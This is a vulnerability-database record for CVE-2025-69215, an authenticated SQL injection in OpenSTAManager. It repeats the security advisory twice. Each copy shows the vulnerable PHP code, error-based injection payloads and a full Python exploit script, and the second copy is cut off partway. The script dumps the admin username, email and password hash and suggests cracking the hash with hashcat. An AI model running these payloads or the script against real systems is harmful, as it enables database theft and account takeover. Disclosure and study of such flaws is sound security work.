{"id":"CVE-2025-69215","aliases":["EUVD-2025-206784","GHSA-qx9p-w3vj-q24q"],"status":"published","title":"OpenSTAManager has an SQL Injection in the Stampe Module","description":"OpenSTAManager is an open source management software for technical assistance and invoicing. In version 2.9.8 and prior, there is a SQL Injection vulnerability in the Stampe Module. At time of publication, no known patch exists.","severity":{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00444,"percentile":0.38936,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":true,"fix_available":false},"cwes":["CWE-89"],"published":"2026-02-03T19:01:46Z","modified":"2026-10-28T02:30:32Z","exploits":[{"source":"pocgithub","id":"lukasz-rybak/CVE-2025-69215","title":"lukasz-rybak/CVE-2025-69215","date":"2026-04-11","url":"https://github.com/lukasz-rybak/CVE-2025-69215"}],"affected":[{"source":"ghsa","ecosystem":"Packagist","package":"devcode-it/openstamanager","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"2.9.8"}]}]},{"source":"osv","ecosystem":"Packagist","package":"devcode-it/openstamanager","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"2.9.8"}]}],"versions":["2.3.0","v2.4","v2.4.1","v2.4.10","v2.4.11","v2.4.12","v2.4.13","v2.4.14","v2.4.15","v2.4.16","v2.4.17","v2.4.17.1","v2.4.18","v2.4.19","v2.4.2","v2.4.20","v2.4.21","v2.4.22","v2.4.23","v2.4.24","v2.4.25","v2.4.26","v2.4.27","v2.4.28","v2.4.29","v2.4.3","v2.4.30","v2.4.31","v2.4.32","v2.4.33","v2.4.34","v2.4.35","v2.4.36","v2.4.37","v2.4.38","v2.4.39","v2.4.4","v2.4.40","v2.4.41","v2.4.42","v2.4.43","v2.4.44","v2.4.45","v2.4.46","v2.4.47","v2.4.48","v2.4.49","v2.4.5","v2.4.50","v2.4.51","v2.4.52","v2.4.53","v2.4.54","v2.4.6","v2.4.7","v2.4.8","v2.4.9","v2.5","v2.5.1-beta","v2.5.2-beta","v2.5.3","v2.5.4","v2.5.5","v2.5.6","v2.5.7","v2.6-beta","v2.6.1","v2.6.2","v2.7","v2.7-beta","v2.7.1","v2.7.2","v2.7.3","v2.8-beta","v2.8.1","v2.8.2","v2.8.3","v2.9","v2.9-beta","v2.9.1","v2.9.2","v2.9.3","v2.9.4","v2.9.5","v2.9.6","v2.9.7","v2.9.8"]}],"products":[{"vendor":"devcode","product":"openstamanager"},{"vendor":"devcode-it","product":"openstamanager"}],"references":[{"url":"https://github.com/devcode-it/openstamanager/security/advisories/GHSA-qx9p-w3vj-q24q","tags":["x_refsource_CONFIRM","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-69215","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-qx9p-w3vj-q24q"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/69xxx/CVE-2025-69215.json","tags":["advisory"]},{"url":"https://github.com/devcode-it/openstamanager","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2025-69215","title":"OpenSTAManager has an SQL Injection in the Stampe Module","description":"OpenSTAManager is an open source management software for technical assistance and invoicing. In version 2.9.8 and prior, there is a SQL Injection vulnerability in the Stampe Module. At time of publication, no known patch exists.","status":"published","published":"2026-02-04T17:42:31.964Z","modified":"2026-02-04T19:31:56.94Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high","assessor":"cna"}],"cwes":["CWE-89"],"updated_at":"2026-11-02T14:32:40.774223Z"}],"euvd":[{"id":"EUVD-2025-206784","description":"OpenSTAManager is an open source management software for technical assistance and invoicing. In version 2.9.8 and prior, there is a SQL Injection vulnerability in the Stampe Module. At time of publication, no known patch exists.","status":"published","published":"2026-02-04T17:42:31Z","modified":"2026-02-04T19:31:56Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-02T19:48:43.720683Z"}],"ghsa":[{"id":"GHSA-qx9p-w3vj-q24q","title":"OpenSTAManager has an SQL Injection in the Stampe Module","description":"## Vulnerability Details\n\n### Location\n- **File:** `modules/stampe/actions.php`\n- **Line:** 26\n- **Vulnerable Code:**\n```php\ncase 'update':\n    if (!empty(intval(post('predefined'))) \u0026\u0026 !empty(post('module'))) {\n        $dbo-\u003equery('UPDATE `zz_prints` SET `predefined` = 0 WHERE `id_module` = '.post('module'));\n        // ↑ Direct concatenation without prepare() sanitization\n    }\n```\n\n### Root Cause\n\nThe `module` parameter from POST data is directly concatenated into an SQL UPDATE query without using the `prepare()` sanitization function. While the `predefined` parameter is validated with `intval()`, the `module` parameter only has an `!empty()` check, which does NOT prevent SQL injection.\n\n**Vulnerable Pattern:**\n```php\n// Line 25: intval() protects predefined, but module is not sanitized!\nif (!empty(intval(post('predefined'))) \u0026\u0026 !empty(post('module'))) {\n    // Line 26: Direct concatenation - VULNERABLE\n    $dbo-\u003equery('UPDATE ... WHERE `id_module` = '.post('module'));\n}\n```\n\n## Exploitation\n### Vulnerable Endpoint\n```\nPOST /modules/stampe/actions.php\n```\n\n### Required Parameters\n```\nop=update\nid_record=1\npredefined=1 (must be non-zero after intval())\nmodule=[INJECTION_PAYLOAD]\ntitle=Test\nfilename=test.pdf\n```\n\n### Authentication Requirement\n- Requires valid authenticated session (any user with access to Stampe module)\n- **VERIFIED:** Users with \"Tecnici\" group access can exploit (NOT admin-only!)\n- **PoC:** Demo at https://demo.osmbusiness.it with credentials tecnico/tecnicotecnico\n\n### Exploitation Type\n**Error-based SQL Injection** using MySQL's EXTRACTVALUE/UPDATEXML/GTID_SUBSET functions\n\n### Proof of Concept\n\n#### Method 1: EXTRACTVALUE (MySQL 5.1+)\n```python\nPOST /modules/stampe/actions.php\nContent-Type: application/x-www-form-urlencoded\n\nop=update\u0026id_record=1\u0026predefined=1\u0026module=14 AND EXTRACTVALUE(1,CONCAT(0x7e,VERSION(),0x7e))\u0026title=Test\u0026filename=test.pdf\n```\n\n**Result:**\n\n\u003cimg width=\"2208\" height=\"912\" alt=\"image\" src=\"https://github.com/user-attachments/assets/710595e8-5cfb-4392-87a5-0b567487af34\" /\u003e\n\n**Extracted Data:** MySQL version `8.3.0`\n\n---\n\n#### Method 2: GTID_SUBSET (MySQL 5.6+)\n```python\nmodule=14 AND GTID_SUBSET(CONCAT(0x7e,DATABASE(),0x7e),1)\n```\n\n**Result:**\n\n\u003cimg width=\"2025\" height=\"903\" alt=\"image\" src=\"https://github.com/user-attachments/assets/eb2b4210-5301-4b3c-81b0-495eaec27af8\" /\u003e\n\n\n**Extracted Data:** Database name `openstamanager`\n\n---\n\n#### Method 3: UPDATEXML (MySQL 5.1+)\n```python\nmodule=14 AND UPDATEXML(1,CONCAT(0x7e,USER(),0x7e),1)\n```\n\n**Result:**\n\n\u003cimg width=\"2027\" height=\"897\" alt=\"image\" src=\"https://github.com/user-attachments/assets/a364951d-566b-4c86-9467-35352bd22c43\" /\u003e\n\n**Extracted Data:** Database user `demo_osm@web01.osmbusiness.it`\n\n---\n\n### Automated Exploitation\n\n**Full Exploit Script:** `exploit_stampe_sqli.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nSQL Injection Exploit - OpenSTAManager modules/stampe/actions.php\n\nUsage:\n    python3 exploit_stampe_sqli.py -u tecnico -p tecnicotecnico\n    python3 exploit_stampe_demo.py -u admin -p admin123 --url https://custom.osm.local\n\"\"\"\n\nimport requests\nimport re\nimport argparse\nimport sys\nfrom html import unescape\nfrom urllib.parse import urljoin\n\nclass StampeSQLiExploit:\n    def __init__(self, base_url, username, password, verbose=False):\n        self.base_url = base_url.rstrip('/')\n        self.username = username\n        self.password = password\n        self.verbose = verbose\n        self.session = requests.Session()\n        self.session.headers.update({\n            'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0'\n        })\n\n    def login(self):\n        \"\"\"Authenticate with username and password\"\"\"\n        login_url = urljoin(self.base_url, '/index.php')\n\n        if self.verbose:\n            print(f\"[DEBUG] Attempting login to {login_url}\")\n            print(f\"[DEBUG] Username: {self.username}\")\n\n        # First, get the login page to establish session\n        resp = self.session.get(login_url)\n        if self.verbose:\n            print(f\"[DEBUG] Initial GET status: {resp.status_code}\")\n\n        # Send login credentials with op=login parameter (required!)\n        login_data = {\n            'username': self.username,\n            'password': self.password,\n            'op': 'login',  # Required for OpenSTAManager\n        }\n\n        resp = self.session.post(login_url, data=login_data, allow_redirects=True)\n\n        if self.verbose:\n            print(f\"[DEBUG] Login POST status: {resp.status_code}\")\n            print(f\"[DEBUG] Cookies: {self.session.cookies.get_dict()}\")\n\n        # Check if login was successful\n        if 'PHPSESSID' not in self.session.cookies:\n            print(\"[-] Login failed: No session cookie received\")\n            return False\n\n        # Check if we're redirected to dashboard or still on login page\n        if 'username' in resp.text.lower() and 'password' in resp.text.lower() and 'login' in resp.url.lower():\n            print(\"[-] Login failed: Still on login page\")\n            if self.verbose:\n                print(f\"[DEBUG] Current URL: {resp.url}\")\n            return False\n\n        print(f\"[+] Successfully logged in as '{self.username}'\")\n        print(f\"[+] Session: {self.session.cookies.get('PHPSESSID')}\")\n        return True\n\n    def inject(self, sql_query):\n        \"\"\"Execute SQL injection payload\"\"\"\n        # Use UPDATEXML instead of EXTRACTVALUE (works better on demo)\n        payload = f\"14 AND UPDATEXML(1,CONCAT(0x7e,({sql_query}),0x7e),1)\"\n\n        target_url = urljoin(self.base_url, '/modules/stampe/actions.php')\n\n        if self.verbose:\n            print(f\"[DEBUG] Target: {target_url}\")\n            print(f\"[DEBUG] Payload: {payload}\")\n\n        response = self.session.post(\n            target_url,\n            data={\n                \"op\": \"update\",\n                \"id_record\": \"1\",\n                \"predefined\": \"1\",\n                \"module\": payload,\n                \"title\": \"Test\",\n                \"filename\": \"test.pdf\"\n            }\n        )\n\n        if self.verbose:\n            print(f\"[DEBUG] Response status: {response.status_code}\")\n            print(f\"[DEBUG] Response length: {len(response.text)}\")\n\n        # Unescape HTML entities first\n        response_text = unescape(response.text)\n\n        # Pattern 1: XPATH syntax error with HTML entities or quotes\n        # Matches: XPATH syntax error: '~data~' or \u0026#039;~data~\u0026#039;\n        xpath_match = re.search(r\"XPATH syntax error:\\s*['\\\"]?~([^~]+)~['\\\"]?\", response_text, re.IGNORECASE)\n        if xpath_match:\n            result = xpath_match.group(1)\n            if self.verbose:\n                print(f\"[DEBUG] Extracted via XPATH pattern: {result}\")\n            return result\n\n        # Pattern 2: Look in HTML comments (demo puts errors in comments)\n        # \u003c!--...XPATH syntax error: '~data~'...--\u003e\n        comment_match = re.search(r\"\u003c!--.*?XPATH syntax error:\\s*['\\\"]?~([^~]+)~['\\\"]?.*?--\u003e\", response_text, re.DOTALL | re.IGNORECASE)\n        if comment_match:\n            result = comment_match.group(1)\n            if self.verbose:\n                print(f\"[DEBUG] Extracted from HTML comment: {result}\")\n            return result\n\n        # Pattern 3: \u003ccode\u003e tags\n        codes = re.findall(r'\u003ccode\u003e(.*?)\u003c/code\u003e', response_text, re.DOTALL)\n        for code in codes:\n            clean = code.strip()\n            if 'XPATH syntax error' in clean or 'SQLSTATE' in clean:\n                match = re.search(r\"~([^~]+)~\", clean)\n                if match:\n                    result = match.group(1)\n                    if self.verbose:\n                        print(f\"[DEBUG] Extracted from \u003ccode\u003e: {result}\")\n                    return result\n\n        # Pattern 4: PDOException error format (as shown in user's example)\n        # PDOException: SQLSTATE[HY000]: General error: 1105 XPATH syntax error: '~data~'\n        pdo_match = re.search(r\"PDOException:.*?XPATH syntax error:\\s*['\\\"]?~([^~]+)~['\\\"]?\", response_text, re.IGNORECASE | re.DOTALL)\n        if pdo_match:\n            result = pdo_match.group(1)\n            if self.verbose:\n                print(f\"[DEBUG] Extracted from PDOException: {result}\")\n            return result\n\n        # Pattern 5: Generic ~...~ markers (last resort)\n        markers = re.findall(r'~([^~]{1,100})~', response_text)\n        if markers:\n            if self.verbose:\n                print(f\"[DEBUG] Found generic markers: {markers}\")\n            # Filter out HTML/CSS junk\n            for marker in markers:\n                if marker and len(marker) \u003e 2:\n                    # Skip common HTML patterns\n                    if not any(x in marker.lower() for x in ['button', 'icon', 'fa-', 'class', 'div', 'span', '\u003c', '\u003e']):\n                        if self.verbose:\n                            print(f\"[DEBUG] Using marker: {marker}\")\n                        return marker\n\n        if self.verbose:\n            print(\"[DEBUG] No data extracted from response\")\n            # Save response for debugging\n            with open('/tmp/stampe_response_debug.html', 'w') as f:\n                f.write(response.text)\n            print(\"[DEBUG] Response saved to /tmp/stampe_response_debug.html\")\n\n        return None\n\n    def dump_info(self):\n        \"\"\"Dump database information\"\"\"\n        queries = [\n            (\"Database Version\", \"VERSION()\"),\n            (\"Database Name\", \"DATABASE()\"),\n            (\"Current User\", \"USER()\"),\n            (\"Admin Username\", \"SELECT username FROM zz_users WHERE idgruppo=1 LIMIT 1\"),\n            (\"Admin Email\", \"SELECT email FROM zz_users WHERE idgruppo=1 LIMIT 1\"),\n            (\"Admin Password Hash (1-30)\", \"SELECT SUBSTRING(password,1,30) FROM zz_users WHERE idgruppo=1 LIMIT 1\"),\n            (\"Admin Password Hash (31-60)\", \"SELECT SUBSTRING(password,31,30) FROM zz_users WHERE idgruppo=1 LIMIT 1\"),\n            (\"Total Users\", \"SELECT COUNT(*) FROM zz_users\"),\n            (\"First Table\", \"SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1\"),\n        ]\n\n        print(\"=\"*70)\n        print(\" EXPLOITING SQL INJECTION - DATA EXTRACTION\")\n        print(\"=\"*70)\n        print()\n\n        results = {}\n        for desc, query in queries:\n            print(f\"[*] Extracting: {desc}\")\n            print(f\"    Query: {query}\")\n            result = self.inject(query)\n            if result:\n                print(f\"    ✓ Result: {result}\")\n                results[desc] = result\n            else:\n                print(f\"    ✗ Failed to extract\")\n            print()\n\n        return results\n\ndef main():\n    parser = argparse.ArgumentParser(\n        description='OpenSTAManager Stampe Module SQL Injection Exploit',\n        formatter_class=argparse.RawDescriptionHelpFormatter,\n        epilog='''\nExamples:\n  # Exploit demo.osmbusiness.it with tecnico user\n  python3 %(prog)s -u tecnico -p tecnicotecnico\n\n  # Exploit demo with admin credentials\n  python3 %(prog)s -u admin -p admin123\n\n  # Exploit custom installation with verbose output\n  python3 %(prog)s -u tecnico -p pass123 --url https://erp.company.com -v\n        '''\n    )\n\n    parser.add_argument('-u', '--username', required=True,\n                        help='Username for authentication')\n    parser.add_argument('-p', '--password', required=True,\n                        help='Password for authentication')\n    parser.add_argument('--url', default='https://demo.osmbusiness.it',\n                        help='Base URL of OpenSTAManager (default: https://demo.osmbusiness.it)')\n    parser.add_argument('-v', '--verbose', action='store_true',\n                        help='Enable verbose output for debugging')\n\n    args = parser.parse_args()\n\n    print(\"╔\" + \"=\"*68 + \"╗\")\n    print(\"║  SQL Injection Exploit - OpenSTAManager Stampe Module          ║\")\n    print(\"║  CVE-PENDING | Authenticated Error-Based SQLi                 ║\")\n    print(\"╚\" + \"=\"*68 + \"╝\")\n    print()\n    print(f\"[*] Target: {args.url}\")\n    print(f\"[*] Username: {args.username}\")\n    print()\n\n    exploit = StampeSQLiExploit(args.url, args.username, args.password, args.verbose)\n\n    # Login first\n    if not exploit.login():\n        print(\"\\n[-] Authentication failed. Cannot proceed with exploitation.\")\n        print(\"[!] Please check:\")\n        print(\"    1. Are the credentials correct?\")\n        print(\"    2. Is the target URL accessible?\")\n        print(\"    3. Is the user account active?\")\n        sys.exit(1)\n\n    print()\n\n    # Extract data\n    results = exploit.dump_info()\n\n    # Summary\n    print(\"=\"*70)\n    print(\" EXTRACTION SUMMARY\")\n    print(\"=\"*70)\n    print()\n\n    if results:\n        for key, value in results.items():\n            print(f\"  {key:.\u003c40} {value}\")\n\n        # If we got admin password hash, combine it\n        if \"Admin Password Hash (1-30)\" in results and \"Admin Password Hash (31-60)\" in results:\n            full_hash = results[\"Admin Password Hash (1-30)\"] + results[\"Admin Password Hash (31-60)\"]\n            print()\n            print(\"  \" + \"=\"*66)\n            print(f\"  Full Admin Password Hash: {full_hash}\")\n            print(\"  \" + \"=\"*66)\n            print()\n            print(\"  [!] Crack with hashcat:\")\n            print(f\"      hashcat -m 3200 '{full_hash}' wordlist.txt\")\n    else:\n        print(\"  ✗ No data extracted\")\n        if not args.verbose:\n            print(\"\\n  [!] Try running with -v flag for debugging information\")\n\nif __name__ == \"__main__\":\n    main()\n\n```\n\n### Attribution\nReported by Łukasz Rybak","status":"published","published":"2026-02-03T19:01:46Z","modified":"2026-02-04T19:53:09Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-89"],"updated_at":"2026-11-02T14:39:22.637668Z"}],"nvd":[{"id":"CVE-2025-69215","description":"OpenSTAManager is an open source management software for technical assistance and invoicing. In version 2.9.8 and prior, there is a SQL Injection vulnerability in the Stampe Module. At time of publication, no known patch exists.","status":"published","published":"2026-02-04T18:16:07.683Z","modified":"2026-06-17T10:00:18.26Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high","assessor":"secondary"},{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"primary"}],"cwes":["CWE-89"],"updated_at":"2026-11-02T14:11:59.832225Z"}],"osv":[{"id":"CVE-2025-69215","title":"OpenSTAManager has an SQL Injection in the Stampe Module","description":"OpenSTAManager is an open source management software for technical assistance and invoicing. In version 2.9.8 and prior, there is a SQL Injection vulnerability in the Stampe Module. At time of publication, no known patch exists.","status":"published","published":"2026-02-04T17:42:31.964Z","modified":"2026-10-28T02:30:32.859009546Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-89"],"updated_at":"2026-11-02T15:44:52.859856Z"},{"id":"GHSA-qx9p-w3vj-q24q","title":"OpenSTAManager has an SQL Injection in the Stampe Module","description":"## Vulnerability Details\n\n### Location\n- **File:** `modules/stampe/actions.php`\n- **Line:** 26\n- **Vulnerable Code:**\n```php\ncase 'update':\n    if (!empty(intval(post('predefined'))) \u0026\u0026 !empty(post('module'))) {\n        $dbo-\u003equery('UPDATE `zz_prints` SET `predefined` = 0 WHERE `id_module` = '.post('module'));\n        // ↑ Direct concatenation without prepare() sanitization\n    }\n```\n\n### Root Cause\n\nThe `module` parameter from POST data is directly concatenated into an SQL UPDATE query without using the `prepare()` sanitization function. While the `predefined` parameter is validated with `intval()`, the `module` parameter only has an `!empty()` check, which does NOT prevent SQL injection.\n\n**Vulnerable Pattern:**\n```php\n// Line 25: intval() protects predefined, but module is not sanitized!\nif (!empty(intval(post('predefined'))) \u0026\u0026 !empty(post('module'))) {\n    // Line 26: Direct concatenation - VULNERABLE\n    $dbo-\u003equery('UPDATE ... WHERE `id_module` = '.post('module'));\n}\n```\n\n## Exploitation\n### Vulnerable Endpoint\n```\nPOST /modules/stampe/actions.php\n```\n\n### Required Parameters\n```\nop=update\nid_record=1\npredefined=1 (must be non-zero after intval())\nmodule=[INJECTION_PAYLOAD]\ntitle=Test\nfilename=test.pdf\n```\n\n### Authentication Requirement\n- Requires valid authenticated session (any user with access to Stampe module)\n- **VERIFIED:** Users with \"Tecnici\" group access can exploit (NOT admin-only!)\n- **PoC:** Demo at https://demo.osmbusiness.it with credentials tecnico/tecnicotecnico\n\n### Exploitation Type\n**Error-based SQL Injection** using MySQL's EXTRACTVALUE/UPDATEXML/GTID_SUBSET functions\n\n### Proof of Concept\n\n#### Method 1: EXTRACTVALUE (MySQL 5.1+)\n```python\nPOST /modules/stampe/actions.php\nContent-Type: application/x-www-form-urlencoded\n\nop=update\u0026id_record=1\u0026predefined=1\u0026module=14 AND EXTRACTVALUE(1,CONCAT(0x7e,VERSION(),0x7e))\u0026title=Test\u0026filename=test.pdf\n```\n\n**Result:**\n\n\u003cimg width=\"2208\" height=\"912\" alt=\"image\" src=\"https://github.com/user-attachments/assets/710595e8-5cfb-4392-87a5-0b567487af34\" /\u003e\n\n**Extracted Data:** MySQL version `8.3.0`\n\n---\n\n#### Method 2: GTID_SUBSET (MySQL 5.6+)\n```python\nmodule=14 AND GTID_SUBSET(CONCAT(0x7e,DATABASE(),0x7e),1)\n```\n\n**Result:**\n\n\u003cimg width=\"2025\" height=\"903\" alt=\"image\" src=\"https://github.com/user-attachments/assets/eb2b4210-5301-4b3c-81b0-495eaec27af8\" /\u003e\n\n\n**Extracted Data:** Database name `openstamanager`\n\n---\n\n#### Method 3: UPDATEXML (MySQL 5.1+)\n```python\nmodule=14 AND UPDATEXML(1,CONCAT(0x7e,USER(),0x7e),1)\n```\n\n**Result:**\n\n\u003cimg width=\"2027\" height=\"897\" alt=\"image\" src=\"https://github.com/user-attachments/assets/a364951d-566b-4c86-9467-35352bd22c43\" /\u003e\n\n**Extracted Data:** Database user `demo_osm@web01.osmbusiness.it`\n\n---\n\n### Automated Exploitation\n\n**Full Exploit Script:** `exploit_stampe_sqli.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nSQL Injection Exploit - OpenSTAManager modules/stampe/actions.php\n\nUsage:\n    python3 exploit_stampe_sqli.py -u tecnico -p tecnicotecnico\n    python3 exploit_stampe_demo.py -u admin -p admin123 --url https://custom.osm.local\n\"\"\"\n\nimport requests\nimport re\nimport argparse\nimport sys\nfrom html import unescape\nfrom urllib.parse import urljoin\n\nclass StampeSQLiExploit:\n    def __init__(self, base_url, username, password, verbose=False):\n        self.base_url = base_url.rstrip('/')\n        self.username = username\n        self.password = password\n        self.verbose = verbose\n        self.session = requests.Session()\n        self.session.headers.update({\n            'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0'\n        })\n\n    def login(self):\n        \"\"\"Authenticate with username and password\"\"\"\n        login_url = urljoin(self.base_url, '/index.php')\n\n        if self.verbose:\n            print(f\"[DEBUG] Attempting login to {login_url}\")\n            print(f\"[DEBUG] Username: {self.username}\")\n\n        # First, get the login page to establish session\n        resp = self.session.get(login_url)\n        if self.verbose:\n            print(f\"[DEBUG] Initial GET status: {resp.status_code}\")\n\n        # Send login credentials with op=login parameter (required!)\n        login_data = {\n            'username': self.username,\n            'password': self.password,\n            'op': 'login',  # Required for OpenSTAManager\n        }\n\n        resp = self.session.post(login_url, data=login_data, allow_redirects=True)\n\n        if self.verbose:\n            print(f\"[DEBUG] Login POST status: {resp.status_code}\")\n            print(f\"[DEBUG] Cookies: {self.session.cookies.get_dict()}\")\n\n        # Check if login was successful\n        if 'PHPSESSID' not in self.session.cookies:\n            print(\"[-] Login failed: No session cookie received\")\n            return False\n\n        # Check if we're redirected to dashboard or still on login page\n        if 'username' in resp.text.lower() and 'password' in resp.text.lower() and 'login' in resp.url.lower():\n            print(\"[-] Login failed: Still on login page\")\n            if self.verbose:\n                print(f\"[DEBUG] Current URL: {resp.url}\")\n            return False\n\n        print(f\"[+] Successfully logged in as '{self.username}'\")\n        print(f\"[+] Session: {self.session.cookies.get('PHPSESSID')}\")\n        return True\n\n    def inject(self, sql_query):\n        \"\"\"Execute SQL injection payload\"\"\"\n        # Use UPDATEXML instead of EXTRACTVALUE (works better on demo)\n        payload = f\"14 AND UPDATEXML(1,CONCAT(0x7e,({sql_query}),0x7e),1)\"\n\n        target_url = urljoin(self.base_url, '/modules/stampe/actions.php')\n\n        if self.verbose:\n            print(f\"[DEBUG] Target: {target_url}\")\n            print(f\"[DEBUG] Payload: {payload}\")\n\n        response = self.session.post(\n            target_url,\n            data={\n                \"op\": \"update\",\n                \"id_record\": \"1\",\n                \"predefined\": \"1\",\n                \"module\": payload,\n                \"title\": \"Test\",\n                \"filename\": \"test.pdf\"\n            }\n        )\n\n        if self.verbose:\n            print(f\"[DEBUG] Response status: {response.status_code}\")\n            print(f\"[DEBUG] Response length: {len(response.text)}\")\n\n        # Unescape HTML entities first\n        response_text = unescape(response.text)\n\n        # Pattern 1: XPATH syntax error with HTML entities or quotes\n        # Matches: XPATH syntax error: '~data~' or \u0026#039;~data~\u0026#039;\n        xpath_match = re.search(r\"XPATH syntax error:\\s*['\\\"]?~([^~]+)~['\\\"]?\", response_text, re.IGNORECASE)\n        if xpath_match:\n            result = xpath_match.group(1)\n            if self.verbose:\n                print(f\"[DEBUG] Extracted via XPATH pattern: {result}\")\n            return result\n\n        # Pattern 2: Look in HTML comments (demo puts errors in comments)\n        # \u003c!--...XPATH syntax error: '~data~'...--\u003e\n        comment_match = re.search(r\"\u003c!--.*?XPATH syntax error:\\s*['\\\"]?~([^~]+)~['\\\"]?.*?--\u003e\", response_text, re.DOTALL | re.IGNORECASE)\n        if comment_match:\n            result = comment_match.group(1)\n            if self.verbose:\n                print(f\"[DEBUG] Extracted from HTML comment: {result}\")\n            return result\n\n        # Pattern 3: \u003ccode\u003e tags\n        codes = re.findall(r'\u003ccode\u003e(.*?)\u003c/code\u003e', response_text, re.DOTALL)\n        for code in codes:\n            clean = code.strip()\n            if 'XPATH syntax error' in clean or 'SQLSTATE' in clean:\n                match = re.search(r\"~([^~]+)~\", clean)\n                if match:\n                    result = match.group(1)\n                    if self.verbose:\n                        print(f\"[DEBUG] Extracted from \u003ccode\u003e: {result}\")\n                    return result\n\n        # Pattern 4: PDOException error format (as shown in user's example)\n        # PDOException: SQLSTATE[HY000]: General error: 1105 XPATH syntax error: '~data~'\n        pdo_match = re.search(r\"PDOException:.*?XPATH syntax error:\\s*['\\\"]?~([^~]+)~['\\\"]?\", response_text, re.IGNORECASE | re.DOTALL)\n        if pdo_match:\n            result = pdo_match.group(1)\n            if self.verbose:\n                print(f\"[DEBUG] Extracted from PDOException: {result}\")\n            return result\n\n        # Pattern 5: Generic ~...~ markers (last resort)\n        markers = re.findall(r'~([^~]{1,100})~', response_text)\n        if markers:\n            if self.verbose:\n                print(f\"[DEBUG] Found generic markers: {markers}\")\n            # Filter out HTML/CSS junk\n            for marker in markers:\n                if marker and len(marker) \u003e 2:\n                    # Skip common HTML patterns\n                    if not any(x in marker.lower() for x in ['button', 'icon', 'fa-', 'class', 'div', 'span', '\u003c', '\u003e']):\n                        if self.verbose:\n                            print(f\"[DEBUG] Using marker: {marker}\")\n                        return marker\n\n        if self.verbose:\n            print(\"[DEBUG] No data extracted from response\")\n            # Save response for debugging\n            with open('/tmp/stampe_response_debug.html', 'w') as f:\n                f.write(response.text)\n            print(\"[DEBUG] Response saved to /tmp/stampe_response_debug.html\")\n\n        return None\n\n    def dump_info(self):\n        \"\"\"Dump database information\"\"\"\n        queries = [\n            (\"Database Version\", \"VERSION()\"),\n            (\"Database Name\", \"DATABASE()\"),\n            (\"Current User\", \"USER()\"),\n            (\"Admin Username\", \"SELECT username FROM zz_users WHERE idgruppo=1 LIMIT 1\"),\n            (\"Admin Email\", \"SELECT email FROM zz_users WHERE idgruppo=1 LIMIT 1\"),\n            (\"Admin Password Hash (1-30)\", \"SELECT SUBSTRING(password,1,30) FROM zz_users WHERE idgruppo=1 LIMIT 1\"),\n            (\"Admin Password Hash (31-60)\", \"SELECT SUBSTRING(password,31,30) FROM zz_users WHERE idgruppo=1 LIMIT 1\"),\n            (\"Total Users\", \"SELECT COUNT(*) FROM zz_users\"),\n            (\"First Table\", \"SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1\"),\n        ]\n\n        print(\"=\"*70)\n        print(\" EXPLOITING SQL INJECTION - DATA EXTRACTION\")\n        print(\"=\"*70)\n        print()\n\n        results = {}\n        for desc, query in queries:\n            print(f\"[*] Extracting: {desc}\")\n            print(f\"    Query: {query}\")\n            result = self.inject(query)\n            if result:\n                print(f\"    ✓ Result: {result}\")\n                results[desc] = result\n            else:\n                print(f\"    ✗ Failed to extract\")\n            print()\n\n        return results\n\ndef main():\n    parser = argparse.ArgumentParser(\n        description='OpenSTAManager Stampe Module SQL Injection Exploit',\n        formatter_class=argparse.RawDescriptionHelpFormatter,\n        epilog='''\nExamples:\n  # Exploit demo.osmbusiness.it with tecnico user\n  python3 %(prog)s -u tecnico -p tecnicotecnico\n\n  # Exploit demo with admin credentials\n  python3 %(prog)s -u admin -p admin123\n\n  # Exploit custom installation with verbose output\n  python3 %(prog)s -u tecnico -p pass123 --url https://erp.company.com -v\n        '''\n    )\n\n    parser.add_argument('-u', '--username', required=True,\n                        help='Username for authentication')\n    parser.add_argument('-p', '--password', required=True,\n                        help='Password for authentication')\n    parser.add_argument('--url', default='https://demo.osmbusiness.it',\n                        help='Base URL of OpenSTAManager (default: https://demo.osmbusiness.it)')\n    parser.add_argument('-v', '--verbose', action='store_true',\n                        help='Enable verbose output for debugging')\n\n    args = parser.parse_args()\n\n    print(\"╔\" + \"=\"*68 + \"╗\")\n    print(\"║  SQL Injection 